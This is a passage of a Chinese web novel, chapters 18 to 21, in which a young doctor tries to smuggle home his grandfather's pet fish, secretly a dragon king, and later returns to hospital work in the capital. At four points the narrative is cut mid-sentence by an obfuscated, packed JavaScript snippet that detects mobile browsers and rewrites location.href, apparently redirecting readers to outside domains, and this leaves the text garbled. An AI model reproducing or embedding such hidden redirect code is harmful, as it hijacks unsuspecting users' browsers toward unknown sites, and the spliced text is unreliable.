“不着急。”陶清观像只毛被撸顺的小兽,“你们玩得开心。” “嗯。” 电话那边传来窃窃私语,大概是徐婉晴在念叨陶雨霖,不一会儿,陶雨霖出声道:“你照顾好自己,过段时间爸爸妈妈去找你。” 陶清观生硬地嗯了一声。 电话挂断,他把手机随手搁在茶几上,漆黑的手机屏幕倒映出他的影子,丧着脸,丑丑的,像个怨夫。 陶清观两手啪地一下拍在脸颊上,强打起精神,他拆开一次性塑料手套,吃起冷掉的烤鸡。 味道没想象中的好,勉强凑合吧。 宴氿沉在水底,他无意偷听小孩的隐私,但离得这么近,对话它一字不落听了个干净。 怪不得陶笠鹤教不好孙子,感情对方儿子就没教好,小孩脾气还是太好了,受如此冷待,也就不痛不痒地刺上几句。 原本宴氿心底还压着点被无视的怒气,但现在荡然无存,看陶清观的眼神,就像在看一个被欺负了的小可怜。 陶清观背对着宴氿,没注意到对方的目光,他兴致不高,草草吃了半个炸鸡,将剩下的放进冰箱里。 他没有表露出难过,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288175|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比平常更加安静,安静地坐在那翻看带回来的书,不得不说,看离谱的考公真题,真的能让人冷静下来。 比如,唐僧、猪八戒,沙僧,孙悟空谁不是《西游记》里面的人物? 陶清观盯着这题看了半天,也没想到什么头绪,一翻答案,选唐僧。 因为唐僧是唐代僧人的总称,改成唐玄奘才对。 好冷哦,莫名其妙笑一下算了。 陶清观捏了下鼻根,字看多了他眼睛有点酸,盛夏的虫鸣孜孜不倦地扰人清净,外面又响起一二一的口号声。 简直是当代活力满满的中年人,和死气沉沉的青年人的真实写照。 陶清观合上书,认清一个现实,他果然没有考公的天赋,他看真题,像在看十万个冷笑话。 大概是看多了,他晚上做梦都是真题,试卷追在他屁股后面跑,问他是不是对它不满意,陶清观看着试卷的血盆大口,拔腿就跑。 梦里上演起,他逃它追,他插翅难飞。 宴氿听见陶清观的呓语声,发现对方睡得很不安稳,像是被噩梦魇住,它从鱼缸中翻出来,踱步走到陶清观身旁。 他蹲下身子,指尖轻点在陶清观的眉心,帮对方抚平褶皱,可这并没有让陶清观的症状有所缓解。 陶清观模模糊糊地喃喃着:“我错了。” 我不该把你当冷笑话看的。 宴氿心下有所触动,他低声道:“你没错。” 他莞尔一笑,伸手轻轻戳了下陶清观的脸蛋,指尖陷入肉中,软软的,小孩身上也就脸上和屁股有点肉。 好不容易遇到这么合眼缘的家伙,宴氿自然会对陶清观多关注几分,他垂眸看着陶清观,眸色渐渐幽深。 宴氿抬手撸了一把陶清欢柔软的发丝,手感还挺不错,他放低声音。 “你……叫我一声干爹,以后就没人敢欺负你了。” 虽然和陶笠鹤的辈分会打架,但影响不大,他们可以各论各的,宴氿越想越觉得可行,看陶清观的眼神也越来越亮。 他早就看不惯那些个到他面前,贴脸晒儿辈孙辈的家伙,等他把小孩这个干儿子认了,他就挨个晒回去,他养的小孩肯定比他们都强。 宴氿奇怪的胜负欲冒了出来,他慈祥地为陶清观盖好被子,安抚性地拍了拍对方的后背。 陶囡囡~乖孩子。 陶清观背后忽然一阵恶寒,他睡梦中皱起眉头,翻了个身想赶走扰人清梦的东西。 19.第 19 章 陶清观第二天醒来时,脑袋昏昏涨涨的,总觉得自己梦见了什么恐怖的东西,但他想不起来了,他抖了抖身子,把那股诡异的感觉甩出去。 可甩走之后,他又生出一种空虚感,外边艳阳高照,阳光明媚,以往忙碌的生活,现在想想恍如隔日。 他看了眼日历,算算时间,距离假期结束还有一周多点,牛马的生活在向他招手,乡下清新空气呼吸多了,他突然有点怀念城市汽车的尾气。 大概因为人是群居动物,一个人待久了,寡得有点难受,陆满满还欠他一顿饭,回去要好好讹对方一顿。 陶清观伸了个懒腰,照常起来准备猫饭,等混吃混喝的黄局上门,他一把抱过贪吃的大猫猫。 黄局窝在陶清观怀里,四脚朝天地喵喵叫,摊开软乎乎的肚皮,任由陶清观上下其手。 陶清观低头吸了下大猫猫,内心充满不舍,“崽啊,你跟我回京都怎么样?” 黄局歪脑袋,尾巴缠上陶清观的手腕,它蹭了下陶清观的脸蛋,步伐轻盈地从对方怀里跳出来。 它拱了下已经空了的饭碗,冲陶清观喵呜喵呜叫了几声,意思是它要去下一家蹭饭了。 黄局是只自由的大猫猫,有稳定的食物来源,自由奔跑的乡间田野,还有好心人每年带它去打疫苗。 虽然黄局不会说话,但陶清观已经知道对方的选择,他挠了挠黄局的脑袋,起身将窗户打开。 “去吧,以后有机会再见。” 陶清观眼底氤氲着浅浅的温柔,他也是时候回去了,剩下的那点假期,留着下次再用吧。 黄局又贴了贴陶清观,身手敏捷地跃出窗外,很快就消失在陶清观的视野中。 陶清观等看不见大猫猫的影子,才将窗户关上,他内心多少有点挫败,果然拐不走可爱的猫猫。 来都来了,不带点特产回去,他又觉得亏得慌。 陶清观将目光转向鱼缸中的小白,眼珠子一转,心底开始打小九九。 与其让他爷爷那个养什么死什么的动植物杀手来养小白,不如他来接管更有益于小白的身心健康。 而且比起掉毛难打理的猫猫狗狗,小白这种只要换换水喂喂粮的小鱼养起来不要太省事,很适合他这种需要工作的牛马,不过小白用自来水养能活么,在他的小公寓里可接不到泉水。 陶清观略微思索,给陶笠鹤发去消息: 我上山把脚崴了,你养的那鱼能在自来水里活吗? 他略施春秋笔法,有点坏心思全使在自家爷爷身上了。 陶笠鹤一看,自家孙子又给整出新事故,眼皮子跳个不停,他开始怀疑让陶清观回祖宅养身体,是不是一个正确的决定。 之前也没见这孩子这么毛躁啊。 陶笠鹤:怎么又把自己伤着了,自来水也行,但它更喜欢泉水,换成自来水它可能会发脾气,你换水的时候多注意点,别打扰到鱼。 计划通! 陶清观直接无视陶笠鹤后半句话,小白脾气不好?怎么可能! 他搓搓手,准备诱拐天真浪漫的小白白,前有小情侣分手偷狗,后有离婚争猫狗抚养权,而他,只是想拐走一条可爱的小鱼,他能有什么错。 找容器,扎通气孔,一气呵成。 陶清观抱着瓶子走到鱼缸前,他掀开盖子,和里面的小白来了个对视,“白啊,养了你这么多天了,我们是有感情的,对不对?” 宴氿一头雾水,但小孩眼睛亮闪闪地望着它,好像眼里只看得见它,它鬼迷心窍,游到陶清观手边。 陶清观顺手撸了下鱼背,把罐子沉进鱼缸里,用鼓励地语气说道:“小白,进去。” 宴氿看了看朴实无华的塑料罐,又看看陶清观期待的小眼神,它迟疑片刻,顺着陶清观手指的方向游了进去。 “棒棒哒。”陶清观夸张地哇了一声,“小白你好聪明,你简直是世界上最聪明的小鱼。” 宴氿被夸得老脸一热,它摆了摆尾巴,这种简简单单的基操,有什么好夸奖的。 陶清观把塑料罐往后挪出一段距离,又对小白招招手,“来,小白,再来一次。” 宴氿无奈地望着兴致勃勃的陶清观,小孩子贪玩,又不是很过分的要求,它宠就宠着点吧。 于是陶清观和小白愉快地玩起钻罐子的游戏,确保小白一看见罐子就会钻进去,陶清观满意了。 这可是小白自愿跟他走的,就是他爷爷来也不能说什么。 陶清观把塑料罐沥干放到一旁,等走的时候再把小白哄(骗)进去,他已经想好了,他提前走,先斩后奏,等他爷爷反应过来的时候,他已经到家了。 他慈爱地看着越养越活泼亲人的小白,白啊,爸爸为了把你带走可是操碎了心。 俗话说做事要趁早,择日不如撞日,陶清观说干就干,拖出行李箱开始收拾,在这边住了大半个月,他除了制造出不少垃圾,其余的没什么变化。 这个祖宅少了他,简直焕然一新。 宴氿看着陶清观忙前忙后,眼底浮现疑惑,怎么还把地铺掀了,今晚不睡了? 等收拾完,陶清观又拿着塑料罐来找宴氿,这次不用陶清观说,宴氿自觉地游进去,但接下来的发展和它想的不一样。 陶清观没有再将它放回去,而是直接把它兜了起来,离开鱼缸的那一刻,宴氿还没反应过来是怎么个事。 塑料罐口被拧紧,它抬起头,能看见几个形状不规则的小孔,再然后它眼前一黑,来到一个逼仄的小角落。 陶清观把它放进背包里了。 宴氿:“……?” 大概是怕塑料罐里的水洒了,陶清观用毛巾在旁边围了一圈,又把空隙处塞满,最后他还不忘把小白的粮带上,塞了满满半个行李箱,足够小白吃上好一段时间了。 万事俱备,陶清观背包背包,拉着行李箱走出祖宅,他把大门锁好,向村门口走去。 没办法,这里太偏,得走到大路上才能打到出租车。 此时气温还没升到最高,虽然阳光刺眼,但勉强可以接受,树影婆娑,温热的风吹到脸上,陶清观深呼吸,缓缓吐出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293320|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 快乐的假期生活,就到此为止了。 陶清观:Ovo 宴氿:咕噜咕噜咕噜……… 塑料罐虽然不会翻,但它晃啊,宴氿随着塑料罐左摆右摇,脑瓜子嗡嗡的,它看不见外面,但直觉告诉它,小孩静悄悄,多半在作妖,更何况陶清观已经有作妖的苗头了。 宴氿看着塑料罐外黄澄澄的毛巾,心底生出不妙的预感。 忽然,它感觉到一阵灵的波动,还挺强烈的,大概是积蓄了好久,望图一鸣惊人,结果自然也不错,天空有淅淅沥沥的小雨落下。 宴氿松了口气,下雨了,小孩应该不会再乱跑了吧。 这时,它听见陶清观小声嘀咕。 “怎么还下雨了,今天应该是晴天啊。” 陶清观话音落下,宴氿又感觉到灵的波动,这次波动来源于陶清观,天空那点刚积蓄起来的雨云荡然一空。 “嗯?雨停了。”陶清观语气上扬,他望了眼天空,然后打了一个饱嗝。 嗝~ 宴氿:“……” 这种时候你倒是能力在线了。 胎死腹中的小雨没能阻止陶清观的脚步,他拖着行李箱来到村口。 住在村口的是一位头发花白的大爷,大爷看见陶清观,踱步走出屋内,他笑容和善,问道:“小观,你这是要回去了?” 陶清观不记得大爷的名字,但对方的脸他有印象,他点了下脑袋,礼貌回答道:“嗯,休息的时间够长了,该回去工作了。” “工作重要,身体也重要,回去也要注意休息。”大爷善意地叮嘱,“快走吧,趁温度还不高,赶紧赶路。” 陶清观嗯了一声,向大爷告别后,抬脚走出村落。 直到走出大爷的视线范围内,陶清观松了口气,不知道为什么,他爷爷养条鱼兴师动众的,村里大半人都知道他爷爷养了鱼,要是中途被发现,对方提前通知爷爷,那他的计划就卒了。 还好还好。 村口处,大爷目送陶清观离开,确认陶清观不会听见,他偏过头对屋内的人说:“通知老陶一声,让他赶紧回来,龙王那边不能没有人在。” “行。”屋内的人顿了下,开口问道:“要不要我现在过去一趟?” 大爷不咸不淡地瞥了那人一眼,说道:“收起你的小心思,即使你跟来这边,没资格就是没资格,别想着去那位面前表现,好好感受附近灵的波动,多学到点东西才是真的。” 屋内的人与陶清观长得有三四分相像,明眼人都能看出他们两大概率有血缘关系。 陶凌霄压下眼中的不甘,闷声道:“知道了。” 大爷见陶凌霄这副模样,知道对方不服气,他摇摇头,在心中叹气,老陶这个孙子,天赋是极佳,但太傲了,太浮躁了,迟早要吃大亏。 陶清观那孩子心性倒是好,可惜了。 大爷掸了掸身上不存在的灰尘,开口道:“我晚点过去拜访那位,你就守在这。” 现在时间太早,过去怕是会打扰那位休息。 20.第 20 章 被记挂着的宴氿,此刻正在快餐店的圆桌上,它悬在塑料罐中央,看着陶清观一口咬住汉堡,然后满足地眯起眼睛。 ……事已至此,就当什么都不知道吧,本来比赛期间,它就是个吉祥物,现在吉祥物被拐跑,应该怪负责审核的那些人失职。 至于陶清观,他真的什么都不知道,怎么能怪他呢。 但小孩带着行李箱出来,显然不只是为了吃一顿炸鸡套餐,这是打算弃赛? 宴氿不存在的眉心皱起,虽然比赛没有明确规定参赛者必须在村子范围内,但是只有改变村内的天气才算做分数。 别的参赛者恨不得一天24小时都待在村子里,陶清观倒好,不仅跑了,还带着它一起跑。 是觉得自己不可能赢么。 有这个可能,毕竟小孩到现在似乎都没反应过来,那两场雨是因为他停下的。 宴氿长长叹了口气,然后再水里吐出个大泡泡,望着泡泡炸掉,它憋住了下一口气。 陶清观把最后一口汉堡塞进嘴里,笑眯眯地望着宴氿,“心情不错嘛,还吐泡泡玩,真可爱。” 宴氿:“……” 陶清观戳戳塑料罐,一手托着下巴,无奈地说道:“你不能上高铁,只能等车来接,这里凉快,我们在这等。” 宴氿没意见,反正它现在有意见也没用,单看村里那些人什么时候发现它不见了。 事实上,几乎是宴氿走后的十分钟内,村里的人就察觉到异常。 因为这雨啊,是一场接一场的下,东边下完,西边下,南边落完,北边落,村子都快给淹了,村上那小小的一块范围,愣是规划出小雨、中雨、暴雨、特大暴雨,一眼望过去,这边的天跟被捅了个好几个窟窿似的。 自打来了村子后,参赛者们就没这么畅快地唤过雨,因为有宴氿压着,他们成功唤雨的次数那是少之又少,这会儿逮到机会了,可不得使劲造作。 可这雨下了半天,一点熟悉的波动都没有,参赛者们纷纷陷入迷茫。 宴氿阻止降雨时,会产生灵的波动,这也是参赛者们判断龙王是谁的依据,但现在…… 其他参赛者也回过味了,这龙王……似乎是出了什么问题呀。 村门口的大爷,陈新平第一时间赶往陶家祖宅。 看到空空如也的鱼缸,陈新平沉默了三秒,拿起手机打电话给陶笠鹤,发出亲切的问候。 陶笠鹤:“……!?” …… 陶清观对村里的混乱一无所知,他悠闲地靠着椅背玩手机,正打游戏呢,突然一个电话打进来,他看也没看,按下接通键。 “车停路边就行,我出来找你。” “找个头!”陶笠鹤的怒吼声从扬声器里传出,震得陶清观一激灵。 陶清观把手机拿远了一点,心底发虚。 爷爷发现了?这么快?不应该啊。 陶清观试图蒙混过关,“干嘛?你不是有事要忙,怎么突然打电话给我。” “哼,你干得什么好事你自己心里清楚,你待在原地别动,我等会儿就过去找你。” 陶笠鹤听到陶清观把龙王拐走的消息时,那是眼前一黑,急着找降压药,他千算万算,没算到自家孙子能捅出这么大篓子。 关键是龙王居然还陪着陶清观胡闹。 陶笠鹤感觉自己血压又要飚上去了。 “……哦。” 东窗事发,陶清观心头一突,听他爷爷的语气何止是生气,已经算暴跳如雷了,陶清观头皮发紧,默默挂掉电话,抬眸看向水里的小白。 要不……三十六计走为上计,等他爷爷气消点,他再回来? 陶清观思考这个馊主意的可行性,不说十拿九不稳,基本是死路一条。 他痛苦地闭上眼睛,谁?究竟是谁!?居然告密! 陶清观垂头丧气,待他再睁开眼,听到一阵杂乱的脚步声,他抬起头看见十几个人在自己面一字排开,且都是村子里他见过的叔叔阿姨,大爷大妈。 众人表情统一,全盯着他,一声不吭。 陶清观:“?” 快餐店里的其他客人见这仗势,一个个跑得比兔子还快,就剩几个胆大的坐在最远的角落,探头探脑地往这边看,想凑个热闹。 陶清观被一圈人围着,显得弱小,可怜,又无助。 他、他犯天条了?好一个全村千里追杀令。 陶清观当场放弃反抗,看着小白被收走,当然,一同被带走的还有他。 但出乎预料的,大家待他的态度还挺友善的,就是看他的眼神,有一种说不出来的复杂。 陶清观自知理亏,乖乖被送回祖宅。 在路上,陶清观看着新鲜出炉的小池塘,露出疑惑的表情,村子里之前有这么多水塘么,他怎么没印象。 不待他细想,祖宅到了。 一开门,他就看到陶笠鹤站在大堂中央,陶清观心底咯噔一声。 算总账的人来了。 陶笠鹤重重哼了一声,没好气道:“还知道回来!” 陶清观望望周围一圈人,不知道的,还以为是在三堂会审,他低下头,小声嘀咕道:“我还有不回来的机会嘛。” 陶笠鹤气得想给陶清观一脑蹦子,他现在一身汗,全是赶路赶得,他看着死不悔改的陶清观,他痛心疾首地开口:“你是怎么想的,走就走,你带鱼干什么?” “不是你让我照顾它的。”陶清观理不直气也壮,小声哔哔:“我走了,它不就没人照顾了,所以我就把它带走了。” 陶笠鹤面色涨红,憋出一句,“歪理!” 旁边有人出来当和事佬,开口劝道:“老陶消消气,小观也是好心,他又不知道这鱼不能带出去。” 陶笠鹤也知道这点,本来他就打算这件事轻拿轻放,对陶清观发火,不过是做做面子工程,现在有人给他递梯子,他就顺坡下了。 他板着脸,“下次不许胡闹了。” 陶清观了解自家爷爷,这态度就是不追究的意思,他那点小心思又活络起来,企图争取一下小白的抚养权,“我没胡闹,它是自愿跟我走的。” 陶清观瞪向陶清观,显然不信,“你还有脸说。” “我说的是真的。”陶清观抄起桌上的空塑料罐,走到鱼缸前。 刚回鱼缸没多久的宴氿看到那破罐子,就感觉大事不妙,果不其然,陶清观打开了盖子,把塑料罐怼到它面前。 陶清观期待地望着宴氿,开口道:“小白,快进来。” 宴氿不去看,都能想象到有多少双眼睛盯着自己,它望着眼睛里像是有星星闪烁的小孩,随着它一直没有动作,小孩眼中的光芒逐渐暗淡。 它算是明白,为什么说儿女都是债啊。 宴氿心一横,游进塑料罐里。 陶清观下巴一昂,得意道:“我就说小白是自愿的。” 四下一片寂静,所有人在这一刻失语,陶笠鹤脸皮子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298959|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直抽抽,他欲言又止,欲止又言,老半天说不出一句话。 好不容易组织出语言,宴氿一个眼刀杀了过来,陶笠鹤又把话咽回去。 他呵呵干笑两声,对着众人说道:“呃……麻烦大家了,都是小事、小事,现在没事了,大家都散了吧。” 众人望天的望天,望地的望地。 “哎哟,我家空调还没关,我先走了。” “我饭还在锅里呢,可别糊了。” “我……我去你家吃饭。” “我也去!” “……” 众人作鸟兽散,不过片刻,大堂内就剩下陶清观和陶笠鹤两人。 陶笠鹤有心想教训一下自家孙子,但宴氿在旁边盯着,他莫名有些不敢,陶笠鹤摆出严肃的神情,对陶清观招手,“你跟我来。” 陶清观把塑料罐放回去,跟上陶笠鹤,刚到院子里,他就被拍了一脑兜子。 陶笠鹤语气坚决,压低声音说道:“别想着把鱼带走,不可能给你的,带着你的行李箱赶紧走。” 可别再给他添乱了。 “……哦。”陶清观撇嘴,看来他与小白,终究是有缘无分,“你不是说有事要忙,现在忙完了?” “我再不忙完,天都要给你捅下来了。”陶笠鹤想想还是来气,他冲陶清观摆手,“滚滚滚,有多远滚多远。” 陶清观话还没说两句,陶笠鹤就把行李往他面前一放,那模样是恨不得他原地消失。 唉,淡了淡了,他们的祖孙情到底是淡了。 赶走惹事精,陶笠鹤整理了一下着装,迈步走回大堂。 大堂内。 宴氿坐在沙发上,把玩着随手拿的苹果,听到脚步声,开口道:“他不知道我的身份,你没必要责怪他。” 他没听到祖孙两说了什么,但看陶笠鹤的架势,估计小孩没少挨训。 宴氿这话是包庇的意思,再结合对方之前的行为,陶笠鹤砸吧了一下嘴,感觉龙王似乎挺喜欢他孙子的,看来陶清观这段时间是有仔细照顾龙王。 陶笠鹤顺着道:“是我孙儿太毛躁,给您添麻烦了,您放心,不会再出现这种意外。” 他识趣地没提,宴氿自愿钻塑料罐的事。 宴氿斜睨向陶笠鹤,开口道:“你把他送到别处了?” 陶笠鹤点头。 宴氿左右交叠这修长的双腿,指尖轻点着膝盖,小孩不在,乐趣少了一大半,不过距离比赛结束还剩一周多点,他稍微等等也无妨,反正人选他已经决定好了。 就是不知道小孩被陶笠鹤塞到村里哪栋房子里,宴氿思忖了一会,还是没将这句话问出口,刚刚他待小孩已经够特殊,再多关注,对小孩并不好。 宴氿放下右腿,抬眸望向陶笠鹤,“我知道你把他送来,有你的小心思在,这次我就当不知道,但我不希望再有下次。” 陶清观是个例外,若是陶笠鹤再塞个别的沾亲带故的参赛者过来,他还不得被烦死。 陶笠鹤一惊,没想到宴氿居然这么敏锐,他确实存了让陶清观靠近宴氿,借对方身边的灵养身子的心思,听到对方不追究,他暗自松了口气。 “我知道了,不会再有下次。” 宴氿满意了,开口叮嘱道:“你看着陶清观点,别让人再跑了。” 好好待到比赛完,他好带人走。 陶笠鹤保证,“那肯定的。” 他绝不会再让那兔崽子迈进村里一步。 21.第 21 章 陶清观回到自己京都的小公寓后,往沙发上一躺。 这间公寓他住了好几年了,此刻却觉得有些冷清,没有猫猫,也没有小鱼陪他玩了。 陶清观心底空落落的,他望着雪白的天花板,幽幽叹气,现在想这些也没用,好好睡上一觉,明天去上班吧。 然而上班这种事,无论前一天睡多早,第二天起来都困。 陶清观坐在科室里,一边玩手机,一边吃早饭。 陆满满来的时候,陶清观早饭刚吃完,他夸张地哇了一声,“稀客啊,我们陶大医生终于想起来自己还有班要上了?” 陶清观懒得搭理戏精上身的陆满满,他把手边的袋子递给陆满满,开口道:“你要的特产。” “嗯?让我看看是什么。”陆满满接过袋子打开,里面的食物加工过,他没认出来是什么东西,“这什么东西?” “炒米。”陶清观抓了一把,没事往嘴里送几粒。 小白这粮吃多了会掉眼泪,但少吃点就没问题,别说味道真不错,不能浪费。 陆满满见陶清观吃了,也抓了一把塞进嘴里,他嚼吧嚼吧,眼睛一亮,“好吃,你……嗝~~~” 他打了好长一串嗝,打完陆满满自己都蒙了。 陶清观嫌弃地看了陆满满一眼,抢过对方手中的炒米,“你早饭吃了多少,还吃。” 陆满满一脸茫然,他没吃早饭啊。 这时,敲门声响起,病人来了。 陆满满没再和陶清观扯皮,接待病人去了。 他们这个科室,是检查听力的,因此要保持安静,宽敞的房间里就他和陶清观两人,治疗医生开什么项目,他们查什么,最后让病人拿着检查单去找治疗医生 算是个比较闲的科室,所以陆满满主动来这边,这样就有时间复习考公题目了。 陆满满把大爷带到椅子旁坐下,一边给对方戴好检查仪器,一边询问。 “大爷,你耳朵什么问题?闷不闷,堵不堵?” “啊?” “耳朵什么问题!?” “哦~”大爷恍然大悟,“我耳朵听不清。” 陆满满:“……”这就不用说了。 陶清观噗嗤一声,“行了,你直接做吧,别为难自己。” 陆满满抹了把脸,接着道:“行,我开始检查了,你不要动,不要说话,很快就好。” “什么?” “不要说话,不要动!” “哦哦!” 一番折腾是测完了,但还有个项目需要大爷配合才能做。 陆满满扬了下手中的耳机,扭头对坐在电脑前幸灾乐祸的陶清观说道:“你来跟他说。” 陶清观耸了耸肩,接过耳机走上前,凑到大爷耳边说道:“你识字吗?” 大爷点头。 陶清观指着墙上贴着的纸示意大爷看。 大爷看了一会,点头表示自己知道了,陶清观帮对方把头戴式耳机带上,走出小隔间,反手把门带上,冲陆满满露出一个微笑。 陆满满:“……”硬了,拳头硬了。 今天的病人意外的多,到中午午休的时候,陆满满往椅子上一瘫,摸了摸自己超负荷使用的嗓子,开口道:“累死我了,怎么这么多人,还都是听力严重损失的。” 陶清观在拆外卖盒,听到陆满满的抱怨,他头也不抬地说道:“今天有好几个主任当值,人自然多。” 陆满满一想,确实是这样,他歪过头,看向陶清观,“你接下来打算怎么办?真打算陪我待在这了?” “待在这有什么不好么。”陶清观专心干饭。 陆满满啧啧两声,薅了一把桌上的炒米,慢悠悠地往嘴里塞,“你就装吧,不聊这个了,你在老家待了那么多天,有发生什么好玩的事吗?” “算有吧,我体会了一把养猫养鱼的快乐。”提起这个,陶清观又有点想念黄局和小白了。 也不知道它们现在怎么样,小白的饭都给他顺走了,不过他爷爷没打电话找他,应该没事。 唉,得不到的更加爱~ 陆满满眨了眨眼,“猫和鱼,你在家养食物链?” 陶清观收起面上的怀念,白了陆满满一眼,跟这种没有浪漫气息的人没话说,怎么能叫食物链,那叫相爱相杀,说起来,黄局似乎从来没对小白流过口水。 不喜欢吃生的?可能每个猫猫都有自己偏爱的口味。 想到吃的,陶清观抬起胳膊拱了陆满满一下,“你别忘了,你还欠我一顿饭。” “好好好。”陆满满扔了几颗炒米进嘴巴里,“今晚就带你去吃,包你吃得饱饱的。” 他刚说完,肚子传来饱腹感,“嗝~~” 陶清观扭过头,视线在炒米和陆满满之间来回移动,“你……胃胀气了?” 陆满满也是满头问号,他今天一整天就吃了这么点炒米,“你老实告诉我,这是什么东西。” 他合理怀疑,陶清观是把压缩饼干,磨碎了过来坑害他。 陶清观摸了摸下巴,挂念着所剩无几的同事情,他选择老实回答:“鱼食。” 房间里安静了一秒,然后传来陆满满的怒吼声。 “陶清观!” “诶,我不聋。” 事实证明,鱼食真的很抗饿,就陆满满吃的那么一点,他到下班的时候都感觉肚子撑得慌,吃晚饭时也是一口都塞不进去。 餐厅里。 陶清观就这一大桌子菜,吃得不亦乐乎,而请客的陆满满只能望着菜发呆,吃是一点都吃不下。 陆满满眼神幽怨,直勾勾地盯着陶清观,“你有考虑过我的感受吗?” 陶清观闻言,把菜往陆满满面前推了一点,倒反天罡,“别客气,多吃点。” 香味一个劲的往鼻子里飘,陆满满的怨念都快化为实质了,“你以为我不想吃吗?我吃不下!” 陶清观无辜地眨眨眼,这能怪他么,他也吃鱼食了,吃得还比陆满满多呢。 “你……” 陆满满刚说了一个字,屋内亮如白昼,紧接着天空轰隆一声巨响,豆大的雨点砸了下来,窗户上很快就溅满雨水。 “忘记看天气预报了,今晚有雷阵雨。”陆满满哀嚎一声,“我没带伞,车还在医院停车场。” 陶清观不疾不徐,“都说雷阵雨,说不定过会儿就停了。” 陆满满划着手机,开口道:“天气预报说要下夜里一点。” “我感觉雨马上就会停。”陶清观咬着筷子尖,抬眸望向窗外乌压压的天空,不知怎么,他就是觉得这场雨下不久。 陆满满不屑一笑,“你什么时候有当天气预报的潜质了,怎么回去一趟,给自己开发出新功能了?” 他还想再嘲笑两句,陶清观开口打断他。 “你看,雨停了。”陶清观用筷子指着窗外,乌云消散,晚霞绵延千里,绚丽多姿,染红了大地,明天不出意外,会是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15304605|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个大晴天。 陆满满后半句话卡壳,他一脸震惊地走到窗边,连着揉了好几次眼睛,他惊疑不定地望向陶清观,“你……” 陶清观煞有其事地开口,“天气预报就算了,我感觉我有当晴天娃娃的潜质。” 一两次可能是巧合,但这都第三次了,这证明他是天选之子,简称天子! 陆满满不愧是陶清观的好朋友,话是张口就来,“你要在脖子上栓根绳,吊窗户边?” “啧啧,不跟尔等凡人计较。”陶清观夹起红烧肉,故意在陆满满眼前晃悠一圈,然后再塞进嘴里,“嗯~真好吃。” 陆满满:“……”玩损的,他是真比不过陶清观。 陶清观看出陆满满无言以对,他嘿嘿一笑,“告诉服务员不用打包了。” 陆满满啊了一声,“还剩这么多,你能吃完?” 陶清观举起筷子摆了摆,一本正经地说道:“因为我已经装起来了。” 陆满满慢了半拍,反应过来他嘴角抽搐,憋了半天,憋出一个,“……草。” 他就不该接这狗东西的话! 吃饱喝足,又捉弄完陆满满,陶清观心满意足地往家走。 他走着走着,突然像陆满满那样连着打了一串嗝,离开餐馆时还没感觉,他这会儿突然撑得慌。 陶清观一手捂着胃,放弃扫共享单车,决定先溜达溜达,正好附近有个小公园,陶清观顺路拐了进去。 夏天的夜晚,人和动物们都很热闹,蝉与青蛙合奏,路边三三两两走着出来遛弯的人,在路灯的映照下,众人脸上带着悠闲惬意。 陶清观嘴角微微翘起,忽然他听见小孩的哭喊声,回过头看到一个敦实小胖子抱着大概是他爷爷的人嗷嗷大哭,闹着要吃旁边摊位上的冰淇淋,也不管自己的肚子已经挺老高了。 他毫无同情心的想着,肉嘟嘟的小胖子,哭起来真好玩捏。 但这一幕诡异的有点熟悉,他现在也是撑得慌的那个,陶清观神情复杂,至少他没抱着爷爷大腿哭。 ……没有…吗? 陶清观脑子里闪过几幅画面,依稀记得他小时候有段时间似乎经常吃撑,然后他爷爷就会在他旁边念叨,让他想着已经吃饱了,不要再贪嘴。 难道说——他小时候也是个大胖小子? 陶清观实在想象不出自己圆滚滚的样子,大概是小时候肠胃不好,又吃得杂吧,他从小到大就没胖过。 这件事在陶清观脑海中一晃而过,他回到家,照常洗漱,然后爬上床和手机缠缠绵绵。 打开熟悉的5v5游戏,陶清观感叹一声,回到他的小公寓里,网速是直线上升,再也没有卡顿和460的出现。 太好了,他的父母保住了。 时间一晃而过,陶清观很快适应了医院和家两点一线的生活,偶尔他会想起小白和黄局,但就像黄粱一梦,很快就淹没在平凡而又忙碌的生活琐事中。 或许等他下一次放长假的时候,他会再一次回去看看。 